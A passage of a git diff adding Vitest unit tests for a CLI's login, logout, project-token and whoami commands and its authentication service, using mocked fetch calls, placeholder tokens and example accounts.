mockAuthService.completeDeviceFlow.mockResolvedValue({}); + + await loginCommand({}, {}); + + // Check that user info was logged + let logCalls = consoleLogSpy.mock.calls.map(call => call.join(' ')); + let hasUserInfo = logCalls.some( + call => call.includes('Test User') || call.includes('test@example.com') + ); + expect(hasUserInfo).toBe(true); + }); + }); + + describe('Error handling', () => { + it('should handle pending authorization status', async () => { + mockAuthService.initiateDeviceFlow.mockResolvedValue({ + device_code: 'device_123', + user_code: 'ABCD-EFGH', + verification_uri: 'https://vizzly.dev/activate', + expires_in: 600, + }); + + mockAuthService.pollDeviceAuthorization.mockResolvedValue({ + status: 'pending', + }); + + await loginCommand({}, {}); + + expect(processExitSpy).toHaveBeenCalledWith(1); + }); + + it('should handle expired device code', async () => { + mockAuthService.initiateDeviceFlow.mockResolvedValue({ + device_code: 'device_123', + user_code: 'ABCD-EFGH', + verification_uri: 'https://vizzly.dev/activate', + expires_in: 600, + }); + + mockAuthService.pollDeviceAuthorization.mockResolvedValue({ + status: 'expired', + }); + + await loginCommand({}, {}); + + expect(processExitSpy).toHaveBeenCalledWith(1); + }); + + it('should handle denied authorization', async () => { + mockAuthService.initiateDeviceFlow.mockResolvedValue({ + device_code: 'device_123', + user_code: 'ABCD-EFGH', + verification_uri: 'https://vizzly.dev/activate', + expires_in: 600, + }); + + mockAuthService.pollDeviceAuthorization.mockResolvedValue({ + status: 'denied', + }); + + await loginCommand({}, {}); + + expect(processExitSpy).toHaveBeenCalledWith(1); + }); + + it('should handle invalid device flow response', async () => { + mockAuthService.initiateDeviceFlow.mockResolvedValue({ + // Missing required fields + device_code: 'device_123', + }); + + await loginCommand({}, {}); + + expect(processExitSpy).toHaveBeenCalledWith(1); + }); + + it('should handle network errors gracefully', async () => { + mockAuthService.initiateDeviceFlow.mockRejectedValue( + new Error('Network error') + ); + + await loginCommand({}, {}); + + expect(processExitSpy).toHaveBeenCalledWith(1); + }); + + it('should show browser warning when browser fails to open', async () => { + browser.openBrowser.mockResolvedValue(false); + + mockAuthService.initiateDeviceFlow.mockResolvedValue({ + device_code: 'device_123', + user_code: 'ABCD-EFGH', + verification_uri: 'https://vizzly.dev/activate', + expires_in: 600, + }); + + mockAuthService.pollDeviceAuthorization.mockResolvedValue({ + tokens: { + accessToken: 'access_token_123', + refreshToken: 'refresh_token_456', + expiresIn: 2592000, + }, + user: { + id: 'user_123', + name: 'Test User', + email: 'test@example.com', + }, + }); + + mockAuthService.completeDeviceFlow.mockResolvedValue({}); + + await loginCommand({}, {}); + + // Should still complete successfully + expect(mockAuthService.completeDeviceFlow).toHaveBeenCalled(); + }); + }); + + describe('Options handling', () => { + it('should use custom API URL when provided', async () => { + mockAuthService.initiateDeviceFlow.mockResolvedValue({ + device_code: 'device_123', + user_code: 'ABCD-EFGH', + verification_uri: 'https://vizzly.dev/activate', + expires_in: 600, + }); + + mockAuthService.pollDeviceAuthorization.mockResolvedValue({ + tokens: { + accessToken: 'access_token_123', + refreshToken: 'refresh_token_456', + expiresIn: 2592000, + }, + user: { + id: 'user_123', + name: 'Test User', + email: 'test@example.com', + }, + }); + + mockAuthService.completeDeviceFlow.mockResolvedValue({}); + + await loginCommand({ apiUrl: 'https://custom.vizzly.dev' }, {}); + + expect(AuthService).toHaveBeenCalledWith({ + baseUrl: 'https://custom.vizzly.dev', + }); + }); + + it('should respect verbose flag in error output', async () => { + let errorWithStack = new Error('Test error'); + errorWithStack.stack = 'Error stack trace'; + + mockAuthService.initiateDeviceFlow.mockRejectedValue(errorWithStack); + + let consoleErrorSpy = vi + .spyOn(console, 'error') + .mockImplementation(() => {}); + + await loginCommand({}, { verbose: true }); + + // Verify stack trace was logged in verbose mode + expect(consoleErrorSpy).toHaveBeenCalledWith( + expect.stringContaining('Error stack trace') + ); + + consoleErrorSpy.mockRestore(); + expect(processExitSpy).toHaveBeenCalledWith(1); + }); + }); +}); diff --git a/tests/commands/logout.spec.js b/tests/commands/logout.spec.js new file mode 100644 index 00000000..66f206e0 --- /dev/null +++ b/tests/commands/logout.spec.js @@ -0,0 +1,167 @@ +/** + * Tests for logout command + */ + +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; +import { logoutCommand } from '../../src/commands/logout.js'; +import { AuthService } from '../../src/services/auth-service.js'; +import * as globalConfig from '../../src/utils/global-config.js'; + +// Mock AuthService +vi.mock('../../src/services/auth-service.js', () => ({ + AuthService: vi.fn(), +})); + +// Mock global-config +vi.mock('../../src/utils/global-config.js', () => ({ + getAuthTokens: vi.fn(), +})); + +describe('Logout Command', () => { + let mockAuthService; + let consoleLogSpy; + let processExitSpy; + + beforeEach(() => { + // Mock AuthService instance + mockAuthService = { + logout: vi.fn(), + }; + AuthService.mockImplementation(() => mockAuthService); + + // Spy on console.log + consoleLogSpy = vi.spyOn(console, 'log').mockImplementation(() => {}); + + // Mock process.exit + processExitSpy = vi.spyOn(process, 'exit').mockImplementation(() => {}); + + vi.clearAllMocks(); + }); + + afterEach(() => { + consoleLogSpy.mockRestore(); + processExitSpy.mockRestore(); + }); + + describe('Successful logout', () => { + it('should logout successfully when user is logged in', async () => { + globalConfig.getAuthTokens.mockResolvedValue({ + accessToken: 'test_access_token', + refreshToken: 'test_refresh_token', + }); + + mockAuthService.logout.mockResolvedValue(); + + await logoutCommand({}, {}); + + expect(mockAuthService.logout).toHaveBeenCalled(); + expect(processExitSpy).not.toHaveBeenCalled(); + }); + + it('should display success message after logout', async () => { + globalConfig.getAuthTokens.mockResolvedValue({ + accessToken: 'test_access_token', + }); + + mockAuthService.logout.mockResolvedValue(); + + await logoutCommand({}, {}); + + let logCalls = consoleLogSpy.mock.calls.map(call => call.join(' ')); + let hasSuccessMessage = logCalls.some( + call => + call.includes('logged out') || call.includes('authentication tokens') + ); + expect(hasSuccessMessage).toBe(true); + }); + + it('should output JSON when --json flag is set', async () => { + globalConfig.getAuthTokens.mockResolvedValue({ + accessToken: 'test_access_token', + }); + + mockAuthService.logout.mockResolvedValue(); + + await logoutCommand({}, { json: true }); + + expect(mockAuthService.logout).toHaveBeenCalled(); + }); + }); + + describe('Not logged in', () => { + it('should show message when no auth tokens exist', async () => { + globalConfig.getAuthTokens.mockResolvedValue(null); + + await logoutCommand({}, {}); + + expect(mockAuthService.logout).not.toHaveBeenCalled(); + expect(processExitSpy).not.toHaveBeenCalled(); + }); + + it('should show message when auth has no access token', async () => { + globalConfig.getAuthTokens.mockResolvedValue({ + refreshToken: 'test_refresh_token', + // No accessToken + }); + + await logoutCommand({}, {}); + + expect(mockAuthService.logout).not.toHaveBeenCalled(); + expect(processExitSpy).not.toHaveBeenCalled(); + }); + }); + + describe('Error handling', () => { + it('should handle logout errors gracefully', async () => { + globalConfig.getAuthTokens.mockResolvedValue({ + accessToken: 'test_access_token', + }); + + mockAuthService.logout.mockRejectedValue(new Error('Network error')); + + await logoutCommand({}, {}); + + expect(processExitSpy).toHaveBeenCalledWith(1); + }); + + it('should show error stack trace in verbose mode', async () => { + globalConfig.getAuthTokens.mockResolvedValue({ + accessToken: 'test_access_token', + }); + + let errorWithStack = new Error('Test error'); + errorWithStack.stack = 'Error stack trace'; + + mockAuthService.logout.mockRejectedValue(errorWithStack); + + let consoleErrorSpy = vi + .spyOn(console, 'error') + .mockImplementation(() => {}); + + await logoutCommand({}, { verbose: true }); + + expect(consoleErrorSpy).toHaveBeenCalledWith( + expect.stringContaining('Error stack trace') + ); + + consoleErrorSpy.mockRestore(); + expect(processExitSpy).toHaveBeenCalledWith(1); + }); + }); + + describe('Options handling', () => { + it('should use custom API URL when provided', async () => { + globalConfig.getAuthTokens.mockResolvedValue({ + accessToken: 'test_access_token', + }); + + mockAuthService.logout.mockResolvedValue(); + + await logoutCommand({ apiUrl: 'https://custom.vizzly.dev' }, {}); + + expect(AuthService).toHaveBeenCalledWith({ + baseUrl: 'https://custom.vizzly.dev', + }); + }); + }); +}); diff --git a/tests/commands/project.spec.js b/tests/commands/project.spec.js new file mode 100644 index 00000000..fde18909 --- /dev/null +++ b/tests/commands/project.spec.js @@ -0,0 +1,388 @@ +/** + * Tests for project commands + */ + +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; +import { + projectSelectCommand, + projectListCommand, + projectTokenCommand, + projectRemoveCommand, +} from '../../src/commands/project.js'; +import { AuthService } from '../../src/services/auth-service.js'; +import * as globalConfig from '../../src/utils/global-config.js'; +import readline from 'readline'; + +// Mock AuthService +vi.mock('../../src/services/auth-service.js', () => ({ + AuthService: vi.fn(), +})); + +// Mock global-config +vi.mock('../../src/utils/global-config.js', () => ({ + getAuthTokens: vi.fn(), + saveProjectMapping: vi.fn(), + getProjectMapping: vi.fn(), + getProjectMappings: vi.fn(), + deleteProjectMapping: vi.fn(), +})); + +// Mock readline +vi.mock('readline', () => ({ + default: { + createInterface: vi.fn(), + }, +})); + +// Mock fetch +global.fetch = vi.fn(); + +describe('Project Commands', () => { + let mockAuthService; + let consoleLogSpy; + let processExitSpy; + let mockRl; + + beforeEach(() => { + // Mock AuthService instance + mockAuthService = { + whoami: vi.fn(), + }; + AuthService.mockImplementation(() => mockAuthService); + + // Mock readline interface + mockRl = { + question: vi.fn(), + close: vi.fn(), + }; + readline.createInterface.mockReturnValue(mockRl); + + // Spy on console.log + consoleLogSpy = vi.spyOn(console, 'log').mockImplementation(() => {}); + + // Mock process.exit - throw to stop execution + processExitSpy = vi.spyOn(process, 'exit').mockImplementation(code => { + throw new Error(`process.exit(${code})`); + }); + + vi.clearAllMocks(); + }); + + afterEach(() => { + consoleLogSpy.mockRestore(); + processExitSpy.mockRestore(); + }); + + describe('projectSelectCommand', () => { + it('should require authentication', async () => { + globalConfig.getAuthTokens.mockResolvedValue(null); + + try { + await projectSelectCommand({}, {}); + } catch { + // Expected to throw from process.exit + } + + expect(processExitSpy).toHaveBeenCalledWith(1); + }); + + it('should select and configure project successfully', async () => { + globalConfig.getAuthTokens.mockResolvedValue({ + accessToken: 'test_access_token', + }); + + mockAuthService.whoami.mockResolvedValue({ + user: { name: 'Test User', email: 'test@example.com' }, + organizations: [{ id: 'org_1', name: 'Test Org', slug: 'test-org' }], + }); + + // Mock project API response + global.fetch.mockResolvedValueOnce({ + ok: true, + json: async () => [ + { id: 'proj_1', name: 'Test Project', slug: 'test-project' }, + ], + }); + + // Mock token creation response + global.fetch.mockResolvedValueOnce({ + ok: true, + json: async () => ({ + token: 'vzt_test_token_123', + }), + }); + + // Mock readline prompts - organization and project selection + mockRl.question + .mockImplementationOnce((prompt, callback) => callback('1')) // Select org + .mockImplementationOnce((prompt, callback) => callback('1')); // Select project + + await projectSelectCommand({}, {}); + + expect(mockAuthService.whoami).toHaveBeenCalled(); + expect(globalConfig.saveProjectMapping).toHaveBeenCalledWith( + expect.any(String), + expect.objectContaining({ + token: 'vzt_test_token_123', + projectSlug: 'test-project', + organizationSlug: 'test-org', + }) + ); + expect(processExitSpy).not.toHaveBeenCalled(); + }); + + it('should handle no organizations', async () => { + globalConfig.getAuthTokens.mockResolvedValue({ + accessToken: 'test_access_token', + }); + + mockAuthService.whoami.mockResolvedValue({ + user: { name: 'Test User' }, + organizations: [], + }); + + try { + await projectSelectCommand({}, {}); + } catch { + // Expected to throw from process.exit + } + + expect(processExitSpy).toHaveBeenCalledWith(1); + }); + + it('should handle no projects', async () => { + globalConfig.getAuthTokens.mockResolvedValue({ + accessToken: 'test_access_token', + }); + + mockAuthService.whoami.mockResolvedValue({ + user: { name: 'Test User' }, + organizations: [{ name: 'Test Org', slug: 'test-org' }], + }); + + // Mock project API response with empty array + global.fetch.mockResolvedValueOnce({ + ok: true, + json: async () => [], + }); + + mockRl.question.mockImplementationOnce((prompt, callback) => + callback('1') + ); + + try { + await projectSelectCommand({}, {}); + } catch { + // Expected to throw from process.exit + } + + expect(processExitSpy).toHaveBeenCalledWith(1); + }); + }); + + describe('projectListCommand', () => { + it('should show message when no projects configured', async () => { + globalConfig.getProjectMappings.mockResolvedValue({}); + + await projectListCommand({}, {}); + + expect(processExitSpy).not.toHaveBeenCalled(); + let logCalls = consoleLogSpy.mock.calls.map(call => call.join(' ')); + let hasMessage = logCalls.some(call => call.includes('No projects')); + expect(hasMessage).toBe(true); + }); + + it('should list configured projects', async () => { + globalConfig.getProjectMappings.mockResolvedValue({ + '/path/to/project1': { + token: 'vzt_token_1', + projectName: 'Project One', + projectSlug: 'project-one', + organizationSlug: 'test-org', + createdAt: new Date().toISOString(), + }, + '/path/to/project2': { + token: 'vzt_token_2', + projectName: 'Project Two', + projectSlug: 'project-two', + organizationSlug: 'test-org', + createdAt: new Date().toISOString(), + }, + }); + + await projectListCommand({}, {}); + + expect(processExitSpy).not.toHaveBeenCalled(); + let logCalls = consoleLogSpy.mock.calls.map(call => call.join(' ')); + let hasProjects = logCalls.some( + call => call.includes('Project One') || call.includes('Project Two') + ); + expect(hasProjects).toBe(true); + }); + + it('should output JSON when --json flag is set', async () => { + let mappings = { + '/path/to/project': { + token: 'vzt_token_1', + projectName: 'Test Project', + projectSlug: 'test-project', + organizationSlug: 'test-org', + }, + }; + + globalConfig.getProjectMappings.mockResolvedValue(mappings); + + await projectListCommand({}, { json: true }); + + expect(processExitSpy).not.toHaveBeenCalled(); + }); + + it('should show verbose info when --verbose flag is set', async () => { + globalConfig.getProjectMappings.mockResolvedValue({ + '/path/to/project': { + token: 'vzt_token_123_very_long_token', + projectName: 'Test Project', + projectSlug: 'test-project', + organizationSlug: 'test-org', + createdAt: new Date().toISOString(), + }, + }); + + await projectListCommand({}, { verbose: true }); + + let logCalls = consoleLogSpy.mock.calls.map(call => call.join(' ')); + let hasTokenInfo = logCalls.some(call => call.includes('Token:')); + expect(hasTokenInfo).toBe(true); + }); + }); + + describe('projectTokenCommand', () => { + it('should show error when no project configured', async () => { + globalConfig.getProjectMapping.mockResolvedValue(null); + + try { + await projectTokenCommand({}, {}); + } catch { + // Expected to throw from process.exit + } + + expect(processExitSpy).toHaveBeenCalledWith(1); + }); + + it('should display project token', async () => { + globalConfig.getProjectMapping.mockResolvedValue({ + token: 'vzt_test_token_123', + projectName: 'Test Project', + projectSlug: 'test-project', + organizationSlug: 'test-org', + }); + + await projectTokenCommand({}, {}); + + expect(processExitSpy).not.toHaveBeenCalled(); + let logCalls = consoleLogSpy.mock.calls.map(call => call.join(' ')); + let hasToken = logCalls.some(call => call.includes('vzt_test_token_123')); + expect(hasToken).toBe(true); + }); + + it('should output JSON when --json flag is set', async () => { + globalConfig.getProjectMapping.mockResolvedValue({ + token: 'vzt_test_token_123', + projectName: 'Test Project', + projectSlug: 'test-project', + organizationSlug: 'test-org', + }); + + await projectTokenCommand({}, { json: true }); + + expect(processExitSpy).not.toHaveBeenCalled(); + }); + + it('should handle token object format', async () => { + globalConfig.getProjectMapping.mockResolvedValue({ + token: { + token: 'vzt_nested_token_123', + }, + projectName: 'Test Project', + projectSlug: 'test-project', + organizationSlug: 'test-org', + }); + + await projectTokenCommand({}, {}); + + let logCalls = consoleLogSpy.mock.calls.map(call => call.join(' ')); + let hasToken = logCalls.some(call => + call.includes('vzt_nested_token_123') + ); + expect(hasToken).toBe(true); + }); + }); + + describe('projectRemoveCommand', () => { + it('should show message when no project configured', async () => { + globalConfig.getProjectMapping.mockResolvedValue(null); + + await projectRemoveCommand({}, {}); + + expect(globalConfig.deleteProjectMapping).not.toHaveBeenCalled(); + expect(processExitSpy).not.toHaveBeenCalled(); + }); + + it('should remove project configuration when confirmed', async () => { + globalConfig.getProjectMapping.mockResolvedValue({ + token: 'vzt_test_token_123', + projectName: 'Test Project', + projectSlug: 'test-project', + organizationSlug: 'test-org', + }); + + // Mock confirmation prompt - user answers 'y' + mockRl.question.mockImplementationOnce((prompt, callback) => + callback('y') + ); + + await projectRemoveCommand({}, {}); + + expect(globalConfig.deleteProjectMapping).toHaveBeenCalledWith( + expect.any(String) + ); + expect(processExitSpy).not.toHaveBeenCalled(); + }); + + it('should cancel removal when not confirmed', async () => { + globalConfig.getProjectMapping.mockResolvedValue({ + token: 'vzt_test_token_123', + projectName: 'Test Project', + projectSlug: 'test-project', + organizationSlug: 'test-org', + }); + + // Mock confirmation prompt - user answers 'n' + mockRl.question.mockImplementationOnce((prompt, callback) => + callback('n') + ); + + await projectRemoveCommand({}, {}); + + expect(globalConfig.deleteProjectMapping).not.toHaveBeenCalled(); + expect(processExitSpy).not.toHaveBeenCalled(); + }); + + it('should accept "yes" as confirmation', async () => { + globalConfig.getProjectMapping.mockResolvedValue({ + token: 'vzt_test_token_123', + projectName: 'Test Project', + projectSlug: 'test-project', + organizationSlug: 'test-org', + }); + + mockRl.question.mockImplementationOnce((prompt, callback) => + callback('yes') + ); + + await projectRemoveCommand({}, {}); + + expect(globalConfig.deleteProjectMapping).toHaveBeenCalled(); + }); + }); +}); diff --git a/tests/commands/whoami.spec.js b/tests/commands/whoami.spec.js new file mode 100644 index 00000000..d9cda409 --- /dev/null +++ b/tests/commands/whoami.spec.js @@ -0,0 +1,333 @@ +/** + * Tests for whoami command + */ + +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; +import { whoamiCommand } from '../../src/commands/whoami.js'; +import { AuthService } from '../../src/services/auth-service.js'; +import { AuthError } from '../../src/errors/vizzly-error.js'; +import * as globalConfig from '../../src/utils/global-config.js'; + +// Mock AuthService +vi.mock('../../src/services/auth-service.js', () => ({ + AuthService: vi.fn(), +})); + +// Mock global-config +vi.mock('../../src/utils/global-config.js', () => ({ + getAuthTokens: vi.fn(), +})); + +describe('Whoami Command', () => { + let mockAuthService; + let consoleLogSpy; + let processExitSpy; + + beforeEach(() => { + // Mock AuthService instance + mockAuthService = { + whoami: vi.fn(), + }; + AuthService.mockImplementation(() => mockAuthService); + + // Spy on console.log + consoleLogSpy = vi.spyOn(console, 'log').mockImplementation(() => {}); + + // Mock process.exit + processExitSpy = vi.spyOn(process, 'exit').mockImplementation(() => {}); + + vi.clearAllMocks(); + }); + + afterEach(() => { + consoleLogSpy.mockRestore(); + processExitSpy.mockRestore(); + }); + + describe('Authenticated user', () => { + it('should display user information when logged in', async () => { + let futureDate = new Date(Date.now() + 30 * 24 * 60 * 60 * 1000); + + globalConfig.getAuthTokens.mockResolvedValue({ + accessToken: 'test_access_token', + expiresAt: futureDate.toISOString(), + }); + + mockAuthService.whoami.mockResolvedValue({ + user: { + id: 'user_123', + name: 'Test User', + email: 'test@example.com', + username: 'testuser', + }, + organizations: [ + { + id: 'org_123', + name: 'Test Org', + slug: 'test-org', + role: 'owner', + }, + ], + }); + + await whoamiCommand({}, {}); + + expect(mockAuthService.whoami).toHaveBeenCalled(); + expect(processExitSpy).not.toHaveBeenCalled(); + + // Check that user info was logged + let logCalls = consoleLogSpy.mock.calls.map(call => call.join(' ')); + let hasUserInfo = logCalls.some( + call => call.includes('Test User') || call.includes('test@example.com') + ); + expect(hasUserInfo).toBe(true); + }); + + it('should display organization info', async () => { + let futureDate = new Date(Date.now() + 30 * 24 * 60 * 60 * 1000); + + globalConfig.getAuthTokens.mockResolvedValue({ + accessToken: 'test_access_token', + expiresAt: futureDate.toISOString(), + }); + + mockAuthService.whoami.mockResolvedValue({ + user: { + name: 'Test User', + email: 'test@example.com', + }, + organizations: [ + { + name: 'Test Org', + slug: 'test-org', + role: 'owner', + }, + ], + }); + + await whoamiCommand({}, {}); + + let logCalls = consoleLogSpy.mock.calls.map(call => call.join(' ')); + let hasOrgInfo = logCalls.some(call => call.includes('Test Org')); + expect(hasOrgInfo).toBe(true); + }); + + it('should show token expiry information', async () => { + let futureDate = new Date(Date.now() + 5 * 24 * 60 * 60 * 1000); + + globalConfig.getAuthTokens.mockResolvedValue({ + accessToken: 'test_access_token', + expiresAt: futureDate.toISOString(), + }); + + mockAuthService.whoami.mockResolvedValue({ + user: { + name: 'Test User', + email: 'test@example.com', + }, + organizations: [], + }); + + await whoamiCommand({}, {}); + + let logCalls = consoleLogSpy.mock.calls.map(call => call.join(' ')); + let hasExpiryInfo = logCalls.some( + call => call.includes('expires') || call.includes('day') + ); + expect(hasExpiryInfo).toBe(true); + }); + + it('should warn when token is expired', async () => { + let pastDate = new Date(Date.now() - 1000); + + globalConfig.getAuthTokens.mockResolvedValue({ + accessToken: 'test_access_token', + expiresAt: pastDate.toISOString(), + }); + + mockAuthService.whoami.mockResolvedValue({ + user: { + name: 'Test User', + email: 'test@example.com', + }, + organizations: [], + }); + + await whoamiCommand({}, {}); + + let logCalls = consoleLogSpy.mock.calls.map(call => call.join(' ')); + let hasExpiredWarning = logCalls.some(call => call.includes('expired')); + expect(hasExpiredWarning).toBe(true); + }); + + it('should output JSON when --json flag is set', async () => { + let futureDate = new Date(Date.now() + 30 * 24 * 60 * 60 * 1000); + + globalConfig.getAuthTokens.mockResolvedValue({ + accessToken: 'test_access_token', + expiresAt: futureDate.toISOString(), + }); + + mockAuthService.whoami.mockResolvedValue({ + user: { + name: 'Test User', + email: 'test@example.com', + }, + organizations: [], + }); + + await whoamiCommand({}, { json: true }); + + expect(mockAuthService.whoami).toHaveBeenCalled(); + }); + + it('should show verbose info when --verbose flag is set', async () => { + let futureDate = new Date(Date.now() + 30 * 24 * 60 * 60 * 1000); + + globalConfig.getAuthTokens.mockResolvedValue({ + accessToken: 'test_access_token', + expiresAt: futureDate.toISOString(), + }); + + mockAuthService.whoami.mockResolvedValue({ + user: { + id: 'user_123', + name: 'Test User', + email: 'test@example.com', + }, + organizations: [ + { + id: 'org_123', + name: 'Test Org', + }, + ], + }); + + await whoamiCommand({}, { verbose: true }); + + let logCalls = consoleLogSpy.mock.calls.map(call => call.join(' ')); + let hasUserId = logCalls.some(call => call.includes('user_123')); + expect(hasUserId).toBe(true); + }); + }); + + describe('Not authenticated', () => { + it('should show message when no auth tokens exist', async () => { + globalConfig.getAuthTokens.mockResolvedValue(null); + + await whoamiCommand({}, {}); + + expect(mockAuthService.whoami).not.toHaveBeenCalled(); + expect(processExitSpy).not.toHaveBeenCalled(); + }); + + it('should show message when auth has no access token', async () => { + globalConfig.getAuthTokens.mockResolvedValue({ + refreshToken: 'test_refresh_token', + // No accessToken + }); + + await whoamiCommand({}, {}); + + expect(mockAuthService.whoami).not.toHaveBeenCalled(); + expect(processExitSpy).not.toHaveBeenCalled(); + }); + + it('should output JSON when not authenticated with --json flag', async () => { + globalConfig.getAuthTokens.mockResolvedValue(null); + + await whoamiCommand({}, { json: true }); + + expect(mockAuthService.whoami).not.toHaveBeenCalled(); + }); + }); + + describe('Error handling', () => { + it('should handle AuthError gracefully', async () => { + globalConfig.getAuthTokens.mockResolvedValue({ + accessToken: 'expired_token', + }); + + let authError = new AuthError('Token expired'); + mockAuthService.whoami.mockRejectedValue(authError); + + await whoamiCommand({}, {}); + + expect(processExitSpy).toHaveBeenCalledWith(1); + }); + + it('should output JSON on AuthError with --json flag', async () => { + globalConfig.getAuthTokens.mockResolvedValue({ + accessToken: 'expired_token', + }); + + let authError = new AuthError('Token expired'); + mockAuthService.whoami.mockRejectedValue(authError); + + await whoamiCommand({}, { json: true }); + + expect(processExitSpy).toHaveBeenCalledWith(1); + }); + + it('should handle other errors gracefully', async () => { + globalConfig.getAuthTokens.mockResolvedValue({ + accessToken: 'test_access_token', + }); + + mockAuthService.whoami.mockRejectedValue(new Error('Network error')); + + await whoamiCommand({}, {}); + + expect(processExitSpy).toHaveBeenCalledWith(1); + }); + + it('should show error stack trace in verbose mode', async () => { + globalConfig.getAuthTokens.mockResolvedValue({ + accessToken: 'test_access_token', + }); + + let errorWithStack = new Error('Test error'); + errorWithStack.stack = 'Error stack trace'; + + mockAuthService.whoami.mockRejectedValue(errorWithStack); + + let consoleErrorSpy = vi + .spyOn(console, 'error') + .mockImplementation(() => {}); + + await whoamiCommand({}, { verbose: true }); + + expect(consoleErrorSpy).toHaveBeenCalledWith( + expect.stringContaining('Error stack trace') + ); + + consoleErrorSpy.mockRestore(); + expect(processExitSpy).toHaveBeenCalledWith(1); + }); + }); + + describe('Options handling', () => { + it('should use custom API URL when provided', async () => { + let futureDate = new Date(Date.now() + 30 * 24 * 60 * 60 * 1000); + + globalConfig.getAuthTokens.mockResolvedValue({ + accessToken: 'test_access_token', + expiresAt: futureDate.toISOString(), + }); + + mockAuthService.whoami.mockResolvedValue({ + user: { + name: 'Test User', + email: 'test@example.com', + }, + organizations: [], + }); + + await whoamiCommand({ apiUrl: 'https://custom.vizzly.dev' }, {}); + + expect(AuthService).toHaveBeenCalledWith({ + baseUrl: 'https://custom.vizzly.dev', + }); + }); + }); +}); diff --git a/tests/services/auth-service.spec.js b/tests/services/auth-service.spec.js new file mode 100644 index 00000000..99ab4611 --- /dev/null +++ b/tests/services/auth-service.spec.js @@ -0,0 +1,398 @@ +/** + * Tests for AuthService + */ + +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; +import { AuthService } from '../../src/services/auth-service.js'; +import { AuthError, VizzlyError } from '../../src/errors/vizzly-error.js'; +import * as globalConfig from '../../src/utils/global-config.js'; + +// Mock global-config module +vi.mock('../../src/utils/global-config.js', () => ({ + saveAuthTokens: vi.fn(), + clearAuthTokens: vi.fn(), + getAuthTokens: vi.fn(), +})); + +// Mock fetch globally +global.fetch = vi.fn(); + +describe('AuthService', () => { + let authService; + let mockFetch; + + beforeEach(() => { + authService = new AuthService({ baseUrl: 'https://test.vizzly.dev' }); + mockFetch = global.fetch; + vi.clearAllMocks(); + }); + + afterEach(() => { + vi.clearAllMocks(); + }); + + describe('constructor', () => { + it('should create instance with default base URL', () => { + let service = new AuthService(); + expect(service.baseUrl).toBe('https://app.vizzly.dev'); + }); + + it('should create instance with custom base URL', () => { + let service = new AuthService({ baseUrl: 'https://custom.vizzly.dev' }); + expect(service.baseUrl).toBe('https://custom.vizzly.dev'); + }); + + it('should set user agent', () => { + let service = new AuthService(); + expect(service.userAgent).toContain('vizzly-cli'); + expect(service.userAgent).toContain('auth'); + }); + }); + + describe('request', () => { + it('should make successful unauthenticated request', async () => { + mockFetch.mockResolvedValueOnce({ + ok: true, + json: async () => ({ success: true }), + }); + + let result = await authService.request('/api/test'); + + expect(mockFetch).toHaveBeenCalledWith( + 'https://test.vizzly.dev/api/test', + expect.objectContaining({ + headers: expect.objectContaining({ + 'User-Agent': expect.stringContaining('vizzly-cli'), + }), + }) + ); + expect(result).toEqual({ success: true }); + }); + + it('should throw AuthError on 401 response', async () => { + mockFetch.mockResolvedValueOnce({ + ok: false, + status: 401, + headers: { + get: () => 'application/json', + }, + json: async () => ({ error: 'Invalid credentials' }), + }); + + await expect(authService.request('/api/test')).rejects.toThrow(AuthError); + }); + + it('should throw VizzlyError on 429 rate limit', async () => { + mockFetch.mockResolvedValueOnce({ + ok: false, + status: 429, + headers: { + get: () => 'application/json', + }, + json: async () => ({ error: 'Too many requests' }), + }); + + await expect(authService.request('/api/test')).rejects.toThrow( + 'Too many login attempts' + ); + }); + + it('should throw VizzlyError on other error status', async () => { + mockFetch.mockResolvedValueOnce({ + ok: false, + status: 500, + headers: { + get: () => 'application/json', + }, + json: async () => ({ error: 'Server error' }), + }); + + await expect(authService.request('/api/test')).rejects.toThrow( + VizzlyError + ); + }); + }); + + describe('authenticatedRequest', () => { + it('should make successful authenticated request', async () => { + globalConfig.getAuthTokens.mockResolvedValueOnce({ + accessToken: 'test_access_token', + }); + + mockFetch.mockResolvedValueOnce({ + ok: true, + json: async () => ({ data: 'protected' }), + }); + + let result = await authService.authenticatedRequest('/api/protected'); + + expect(mockFetch).toHaveBeenCalledWith( + 'https://test.vizzly.dev/api/protected', + expect.objectContaining({ + headers: expect.objectContaining({ + Authorization: 'Bearer test_access_token', + }), + }) + ); + expect(result).toEqual({ data: 'protected' }); + }); + + it('should throw AuthError when no tokens exist', async () => { + globalConfig.getAuthTokens.mockResolvedValueOnce(null); + + await expect( + authService.authenticatedRequest('/api/protected') + ).rejects.toThrow('No authentication token found'); + }); + + it('should throw AuthError on 401 response', async () => { + globalConfig.getAuthTokens.mockResolvedValueOnce({ + accessToken: 'expired_token', + }); + + mockFetch.mockResolvedValueOnce({ + ok: false, + status: 401, + headers: { + get: () => 'application/json', + }, + json: async () => ({ error: 'Token expired' }), + }); + + await expect( + authService.authenticatedRequest('/api/protected') + ).rejects.toThrow('Authentication token is invalid or expired'); + }); + }); + + describe('initiateDeviceFlow', () => { + it('should initiate device flow successfully', async () => { + let mockResponse = { + deviceCode: 'device_123', + userCode: 'ABCD-EFGH', + verificationUrl: 'https://vizzly.dev/activate', + expiresIn: 600, + }; + + mockFetch.mockResolvedValueOnce({ + ok: true, + json: async () => mockResponse, + }); + + let result = await authService.initiateDeviceFlow(); + + expect(mockFetch).toHaveBeenCalledWith( + 'https://test.vizzly.dev/api/auth/cli/device/initiate', + expect.objectContaining({ + method: 'POST', + }) + ); + expect(result).toEqual(mockResponse); + }); + }); + + describe('pollDeviceAuthorization', () => { + it('should poll for authorization successfully', async () => { + let mockResponse = { + status: 'pending', + }; + + mockFetch.mockResolvedValueOnce({ + ok: true, + json: async () => mockResponse, + }); + + let result = await authService.pollDeviceAuthorization('device_123'); + + expect(mockFetch).toHaveBeenCalledWith( + 'https://test.vizzly.dev/api/auth/cli/device/poll', + expect.objectContaining({ + method: 'POST', + body: JSON.stringify({ device_code: 'device_123' }), + }) + ); + expect(result).toEqual(mockResponse); + }); + }); + + describe('completeDeviceFlow', () => { + it('should save tokens on successful completion', async () => { + let tokenData = { + accessToken: 'access_token_123', + refreshToken: 'refresh_token_456', + expiresAt: '2025-12-31T23:59:59Z', + user: { + id: 'user_123', + name: 'Test User', + email: 'test@example.com', + }, + }; + + await authService.completeDeviceFlow(tokenData); + + expect(globalConfig.saveAuthTokens).toHaveBeenCalledWith(tokenData); + }); + }); + + describe('refresh', () => { + it('should refresh access token successfully', async () => { + let existingAuth = 